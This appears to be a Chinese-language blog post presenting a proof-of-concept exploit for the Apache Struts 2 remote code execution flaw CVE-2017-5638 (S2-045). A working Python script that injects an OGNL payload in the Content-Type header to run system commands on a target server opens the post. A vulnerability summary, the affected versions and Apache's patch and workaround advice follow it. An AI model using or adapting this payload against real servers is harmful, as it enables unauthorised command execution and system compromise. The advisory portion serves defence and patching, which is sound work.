ST2-045 For POC
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本文链接地址: ST2-045 For POC
利用方法:
#! /usr/bin/env python# encoding:utf-8import urllib2import sysfrom poster.encode import multipart_encodefrom poster.streaminghttp import register_openersdef poc(): register_openers() datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" request = urllib2.Request(str(sys.argv[1]),datagen,headers=header) response = urllib2.urlopen(request) print response.read()poc()
漏洞说明:
Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。
漏洞编号:
CVE-2017-5638
漏洞名称:
基于 Jakarta plugin插件的Struts远程代码执行漏洞
官方评级:
高危
漏洞描述:
恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
漏洞利用条件和方式:
黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。
基于Jakarta(Jakarta Multipart parser)插件的文件上传功能
恶意攻击者精心构造Content-Type的值
通过版本比对定位漏洞原因:
\core\src\main\java\org\apache\struts2\dispatcher\multipart\MultiPartRequestWrapper.java
core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaMultiPartRequest.java
\core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaStreamMultiPartRequest.java
if (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, new Object[0]) == null) { return LocalizedTextUtil.findText(this.getClass(), “struts.messages.error.uploading”, defaultLocale, null, new Object[] { e.getMessage() }); } else { return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, args);}
漏洞影响范围:
- Struts 2.3.5 – Struts 2.3.31
- Struts 2.5 – Struts 2.5.10
- Created by Lukasz Lenart, last modified yesterday at 01:14 PM
Summary
Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser.[td]
Problem
It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.
Solution
If you are using Jakarta based file upload Multipart parser, upgrade to Apache Struts version 2.3.32 or 2.5.10.1. You can also switch to a different implementation of the Multipart parser.
Backward compatibility
No backward incompatibility issues are expected.
Workaround
Implement a Servlet filter which will validate Content-Type and throw away request with suspicious values not matching multipart/form-data.
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